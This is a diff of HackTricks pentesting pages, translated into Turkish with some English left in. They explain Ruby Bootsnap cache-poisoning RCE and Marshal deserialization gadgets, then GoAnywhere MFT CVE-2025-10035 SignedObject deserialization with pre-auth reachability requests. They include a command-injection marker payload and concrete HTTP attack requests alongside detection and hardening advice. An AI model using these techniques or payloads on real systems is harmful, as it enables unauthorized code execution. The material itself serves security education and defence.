+Bootsnap, Rails’in başlatma sürelerini kısaltmak için derlenmiş Ruby kodu, YAML ve JSON dosyalarını cache’ler. Cache dosyaları, bir cache key header’ı (Ruby versiyonu, dosya boyutu, mtime, compile options vb. alanları içeren) ve ardından derlenmiş kodu içerir. Bu header, uygulama başlatılırken cache’in doğrulanması için kullanılır.
 
 - Dosya Meta Verilerini Toplayın
 
-Saldırgan, Rails başlangıcında muhtemelen yüklenen bir hedef dosyayı (örneğin, Ruby'nin standart kütüphanesinden set.rb) seçer. Konteyner içinde Ruby kodu çalıştırarak, kritik meta verileri (RUBY_VERSION, RUBY_REVISION, boyut, mtime ve compile_option gibi) çıkarır. Bu veriler, geçerli bir önbellek anahtarı oluşturmak için gereklidir.
+Saldırgan önce Rails başlatılma sırasında yüklenmesi muhtemel bir hedef dosya seçer (örneğin Ruby’nin standart kütüphanesinden set.rb). Container içinde Ruby kodu çalıştırarak gerekli meta verileri (RUBY_VERSION, RUBY_REVISION, size, mtime ve compile_option gibi) çıkarır. Bu veriler geçerli bir cache key oluşturmak için gereklidir.
 
-- Önbellek Dosyası Yolunu Hesaplayın
+- Cache Dosyası Yolunu Hesaplayın
 
-Bootsnap’ın FNV-1a 64-bit hash mekanizmasını taklit ederek, doğru önbellek dosyası yolu belirlenir. Bu adım, kötü niyetli önbellek dosyasının Bootsnap'ın beklediği yere tam olarak yerleştirildiğinden emin olur (örneğin, tmp/cache/bootsnap/compile-cache-iseq/ altında).
+Bootsnap’in FNV-1a 64-bit hash mekanizmasını taklit ederek doğru cache dosyası yolu belirlenir. Bu adım, kötü amaçlı cache dosyasının Bootsnap’in beklediği yere tam olarak yerleştirilmesini sağlar (ör. tmp/cache/bootsnap/compile-cache-iseq/).
 
-- Kötü Niyetli Önbellek Dosyasını Oluşturun
+- Kötü Amaçlı Cache Dosyasını Hazırlayın
 
-Saldırgan, aşağıdakileri yapan bir yük hazırlamaktadır:
+Saldırgan aşağıdaki işlevleri içeren bir payload hazırlar:
 
-- Keyfi komutları çalıştırır (örneğin, işlem bilgilerini göstermek için id çalıştırmak).
-- Kötü niyetli önbelleği çalıştırmadan sonra kaldırır, böylece yinelemeli istismar önlenir.
-- Uygulamanın çökmesini önlemek için orijinal dosyayı (örneğin, set.rb) yükler.
+- Executes arbitrary commands (for example, running id to show process info).
+- Kötü amaçlı cache’i yürütmeden sonra recursive exploitation’u önlemek için siler.
+- Uygulamanın çökmesini önlemek için orijinal dosyayı (ör. set.rb) yükler.
 
-Bu yük, ikili Ruby koduna derlenir ve daha önce toplanan meta veriler ve Bootsnap için doğru sürüm numarası kullanılarak dikkatlice oluşturulmuş bir önbellek anahtarı başlığı ile birleştirilir.
+Bu payload ikili Ruby koduna derlenir ve önceden toplanan meta veriler ve doğru Bootsnap versiyon numarası kullanılarak özenle oluşturulmuş bir cache key header’ı ile birleştirilir.
 
-- Üzerine Yazın ve Çalıştırmayı Tetikleyin
-Keyfi dosya yazma zafiyetini kullanarak, saldırgan oluşturulan önbellek dosyasını hesaplanan konuma yazar. Ardından, bir sunucu yeniden başlatmasını tetikler (Puma tarafından izlenen tmp/restart.txt dosyasına yazarak). Yeniden başlatma sırasında, Rails hedef dosyayı gerektirdiğinde, kötü niyetli önbellek dosyası yüklenir ve uzaktan kod yürütme (RCE) ile sonuçlanır.
+- Üzerine Yazma ve Yürütmeyi Tetikleme
+
+Arbitrary file write zafiyeti kullanılarak saldırgan hazırlanan cache dosyasını hesaplanan konuma yazar. Ardından sunucu yeniden başlatılması tetiklenir (Puma tarafından izlenen tmp/restart.txt dosyasına yazılarak). Yeniden başlatma sırasında Rails hedeflenen dosyayı require ettiğinde, kötü amaçlı cache dosyası yüklenir ve RCE gerçekleşir.
 
 ### Ruby Marshal exploitation in practice (updated)
 
-Güvenilmeyen baytların `Marshal.load`/`marshal_load`'a ulaştığı herhangi bir yolu RCE kaynağı olarak değerlendirin. Marshal, keyfi nesne grafikleri yeniden yapılandırır ve malzeme haline getirme sırasında kütüphane/gem geri çağırmalarını tetikler.
+Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
 
 - Minimal vulnerable Rails code path:
 ```ruby
@@ -1033,35 +1049,37 @@ end
 end
 ```
 - Gerçek zincirlerde görülen yaygın gadget sınıfları: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
-- Payload'larda gömülü tipik yan etki işareti (unmarshal sırasında yürütülür):
+- payloads içine gömülen tipik yan etki belirteci (unmarshal sırasında yürütülen):
 ```
 *-TmTT="$(id>/tmp/marshal-poc)"any.zip
 ```
-Gerçek uygulamalarda nerede ortaya çıkıyor:
-- Tarihsel olarak Marshal kullanan Rails önbellek depoları ve oturum depoları
-- Arka plan iş arka uçları ve dosya destekli nesne depoları
-- İkili nesne blob'larının herhangi bir özel kalıcılığı veya taşınması
+Gerçek uygulamalarda nerede ortaya çıkar:
+- Tarihsel olarak Marshal kullanan Rails cache ve session store'ları
+- Background job backends ve dosya tabanlı nesne depoları
+- İkili nesne blob'larının özel olarak saklanması veya taşınması
+
+Endüstrileştirilmiş gadget keşfi:
+- constructor'lar, `hash`, `_load`, `init_with` veya unmarshal sırasında çağrılan yan etki oluşturan metodlar için grep atın
+- CodeQL’in Ruby unsafe deserialization sorgularını kullanarak kaynakları → sinks şeklinde izleyin ve gadget'ları ortaya çıkarın
+- Herkese açık çok formatlı PoC'larla doğrulayın (JSON/XML/YAML/Marshal)
 
-Endüstriyel cihaz keşfi:
-- Yapıcılar, `hash`, `_load`, `init_with` veya unmarshal sırasında çağrılan yan etkili yöntemler için Grep kullanın
-- Kaynakları → varış noktalarına izlemek ve cihazları ortaya çıkarmak için CodeQL’nin Ruby güvensiz deserialization sorgularını kullanın
-- Kamuya açık çok formatlı PoC'lerle doğrulayın (JSON/XML/YAML/Marshal)
 
 ## Referanslar
 
-- Trail of Bits – Marshal deliliği: Ruby deserialization istismarlarının kısa tarihi: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
-- elttam – Ruby 2.x Evrensel RCE Deserialization Gadget Zinciri: https://www.elttam.com/blog/ruby-deserialization/
-- Phrack #69 – Rails 3/4 Marshal zinciri: https://phrack.org/issues/69/12.html
-- CVE-2019-5420 (Rails 5.2 güvensiz deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
-- ZDI – Ruby on Rails Active Storage güvensiz deserialization ile RCE: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
-- Include Security – Rubyland'de gadget zincirlerini keşfetmek: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
-- GitHub Security Lab – Ruby güvensiz deserialization (sorgu yardımı): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
-- GitHub Security Lab – PoC'ler deposu: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
+- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
+- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
+- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
+- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
+- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
+- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
+- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
+- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
 - Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
-- Luke Jahnke – Ruby 3.4 evrensel zincir: https://nastystereo.com/security/ruby-3.4-deserialization.html
-- Luke Jahnke – Gem::SafeMarshal kaçışı: https://nastystereo.com/security/ruby-safe-marshal-escape.html
-- Ruby 3.4.0-rc1 sürümü: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
-- Ruby düzeltme PR #12444: https://github.com/ruby/ruby/pull/12444
-- Trail of Bits – RubyGems.org'u denetleme (Marshal bulguları): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
+- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
+- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
+- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
+- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
+- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
+- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md

@@ -0,0 +1,140 @@
+# Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Bu sayfa, java.security.SignedObject etrafında kurulmuş yaygın bir "guarded" Java deserialization desenini ve görünüşte ulaşılamaz olan sink'lerin hata işleme akışları aracılığıyla nasıl pre-auth erişilebilir hale gelebileceğini belgeler. Teknik Fortra GoAnywhere MFT (CVE-2025-10035) içinde gözlemlendi fakat benzer tasarımlara da uygulanabilir.
+
+## Tehdit modeli
+
+- Attacker bir HTTP endpoint'ine ulaşabilir; bu endpoint sonuçta serileştirilmiş bir SignedObject olması amaçlanan ve saldırgan tarafından sağlanan byte[]'i işler.
+- Kod, dıştaki türü SignedObject (veya byte[]) ile sınırlamak için bir validating wrapper (ör. Apache Commons IO ValidatingObjectInputStream veya özel bir adapter) kullanır.
+- SignedObject.getObject() tarafından döndürülen iç nesne, gadget chains'in tetiklenebileceği yerdir (ör. CommonsBeanutils1), ancak yalnızca bir signature verification gate'ten sonra.
+
+## Tipik vulnerable pattern
+
+com.linoma.license.gen2.BundleWorker.verify'e dayanan basitleştirilmiş bir örnek:
+```java
+private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
+String sigAlg = "SHA1withDSA";
+if ("2".equals(keyCfg.getVersion())) {
+sigAlg = "SHA512withRSA";        // key version controls algorithm
+}
+PublicKey pub = getPublicKey(keyCfg);
+Signature sig = Signature.getInstance(sigAlg);
+
+// 1) Outer, "guarded" deserialization restricted to SignedObject
+SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
+payload, SignedObject.class, new Class[]{ byte[].class });
+
+if (keyCfg.isServer()) {
+// Hardened server path
+return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
+so, SignedContainer.class, new Class[]{ byte[].class }
+)).getData();
+} else {
+// 2) Signature check using a baked-in public key
+if (!so.verify(pub, sig)) {
+throw new IOException("Unable to verify signature!");
+}
+// 3) Inner object deserialization (potential gadget execution)
+SignedContainer inner = (SignedContainer) so.getObject();
+return inner.getData();
+}
+}
+```
+Temel gözlemler:
+- Doğrulayan deserializer (1) rastgele üst seviye gadget sınıflarını engeller; yalnızca SignedObject (veya raw byte[]) kabul edilir.
+- RCE primitive, (3)'te SignedObject.getObject() ile gerçeğe dönen iç nesnede bulunur.
+- Bir imza kontrolü (2) SignedObject'un ürünle ilişkilendirilmiş bir açık anahtar karşısında verify() olması gerektiğini zorunlu kılar. Saldırgan geçerli bir imza üretemezse, iç gadget asla deserialize edilmez.
+
+## Sömürüye ilişkin hususlar
+
+Kod yürütmesi elde etmek için, saldırganın iç nesne olarak kötü amaçlı bir gadget zincirini saran doğru şekilde imzalanmış bir SignedObject teslim etmesi gerekir. Bu genellikle aşağıdakilerden birini gerektirir:
+
+- Özel anahtarın ele geçirilmesi: ürünün lisans nesnelerini imzalamak/doğrulamak için kullandığı eşleşen özel anahtarı ele geçirmek.
+- Signing oracle: satıcıyı veya güvenilir bir imzalama servisini, saldırgan kontrollü serileştirilmiş içeriği imzalamaya zorlamak (ör. bir lisans sunucusu istemci girdisinden gömülü rastgele bir nesneyi imzalıyorsa).
+- Alternatif erişilebilir yol: iç nesneyi verify() uygulamadan deserialize eden veya belirli bir modda imza kontrollerini atlayan bir sunucu tarafı yol bulmak.
+
+Bunlardan biri yoksa, imza doğrulaması deserialization sink'in varlığına rağmen sömürüyü engeller.
+
+## Hata işleme akışları yoluyla pre-auth erişilebilirlik
+
+Bir deserialization uç noktası kimlik doğrulama veya oturum-bağlı bir token gerektiriyor gibi görünse bile, hata işleme kodu yanlışlıkla token'ı bir kimliksizin oturumuna üretebilir ve iliştirebilir.
+
+Örnek erişilebilirlik zinciri (GoAnywhere MFT):
+- Hedef servlet: /goanywhere/lic/accept/<GUID> oturum-bağlı bir lisans istek tokenı gerektirir.
+- Hata yolu: /goanywhere/license/Unlicensed.xhtml’e sonek gereksiz veri (trailing junk) ve geçersiz JSF durumu ile erişmek AdminErrorHandlerServlet'i tetikler; bu servlet şunları yapar:
+- SessionUtilities.generateLicenseRequestToken(session)
+- bundle=<...> içinde imzalı bir lisans isteği ile vendor lisans sunucusuna yönlendirir
+- Bundle, GUID'i geri kazanmak için çevrimdışı çözülebilir (hard-coded keys). Aynı oturum çerezini koruyup, saldırgan kontrollü bundle baytları ile /goanywhere/lic/accept/<GUID>'e POST yaparak SignedObject sink'ine pre-auth olarak ulaşılır.
+
+Erişilebilirlik kanıtı (etkisiz) probe:
+```http
+GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
+Host: <target>
+```
+- Güncellenmemiş: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=...
+- Yama uygulanmış: redirect without bundle (no token generation).
+
+## Blue-team tespiti
+
+stack traces/logs'taki göstergeler SignedObject-gated sink'e ulaşma girişimlerini kuvvetle işaret ediyor:
+```
+java.io.ObjectInputStream.readObject
+java.security.SignedObject.getObject
+com.linoma.license.gen2.BundleWorker.verify
+com.linoma.license.gen2.BundleWorker.unbundle
+com.linoma.license.gen2.LicenseController.getResponse
+com.linoma.license.gen2.LicenseAPI.getResponse
+com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
+```
+## Sertleştirme rehberi
+
+- Her getObject() çağrısından önce imza doğrulamasını sürdürün ve doğrulamanın amaçlanan açık anahtar/algoritma ile yapıldığından emin olun.
+- Doğrudan SignedObject.getObject() çağrılarını, iç stream üzerinde filtrelemeyi yeniden uygulayan sertleştirilmiş bir wrapper ile değiştirin (örn. deserializeUntrustedSignedObject using ValidatingObjectInputStream/ObjectInputFilter izin listeleri).
+- Yetkilendirilmemiş kullanıcılar için oturum-bağlı token veren hata işleyici akışlarını kaldırın. Hata yollarını saldırı yüzeyi olarak değerlendirin.
+- Hem dış hem iç deserializasyonlar için katı izin listelerine sahip Java serialization filters (JEP 290) tercih edin. Örnek:
+```java
+ObjectInputFilter filter = info -> {
+Class<?> c = info.serialClass();
+if (c == null) return ObjectInputFilter.Status.UNDECIDED;
+if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
+return ObjectInputFilter.Status.REJECTED; // outer layer
+};
+ObjectInputFilter.Config.setSerialFilter(filter);
+// For the inner object, apply a separate strict DTO allow-list
+```
+## Örnek saldırı zinciri özeti (CVE-2025-10035)
+
+1) Pre-auth token minting via error handler:
+```http
+GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
+```
+bundle=... ve ASESSIONID=... içeren 302 al; bundle'ı çevrimdışında deşifre ederek GUID'i kurtar.
+
+2) Aynı cookie ile pre-auth aşamasında sink'e ulaş:
+```http
+POST /goanywhere/lic/accept/<GUID> HTTP/1.1
+Cookie: ASESSIONID=<value>
+Content-Type: application/x-www-form-urlencoded
+
+bundle=<attacker-controlled-bytes>
+```
+3) RCE için, gadget chain'i saran doğru şekilde imzalanmış bir SignedObject gerekir. Araştırmacılar imza doğrulamasını atlayamadı; istismar, eşleşen bir private key'e veya bir signing oracle'a erişime bağlı.
+
+## Düzeltme sürümleri ve davranış değişiklikleri
+
+- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
+- İç deserialization'ı, SignedObject.getObject() yerine bir wrapper (deserializeUntrustedSignedObject) kullanarak sertleştirildi.
+- Hata-handler token üretimi kaldırıldı; pre-auth erişilebilirliği kapatıldı.
+
+## JSF/ViewState hakkında notlar
+
+The reachability trick, bir JSF sayfası (.xhtml) ve geçersiz javax.faces.ViewState kullanarak ayrıcalıklı bir error handler'a yönlendirir. Bu bir JSF deserialization sorunu olmasa da, tekrarlayan bir pre-auth paterni: ayrıcalıklı işlemler yapan ve güvenlikle ilgili session özniteliklerini ayarlayan error handler'lara sızmak.
+
+## References
+
+- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
+- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
+
+{{#include ../../banners/hacktricks-training.md}}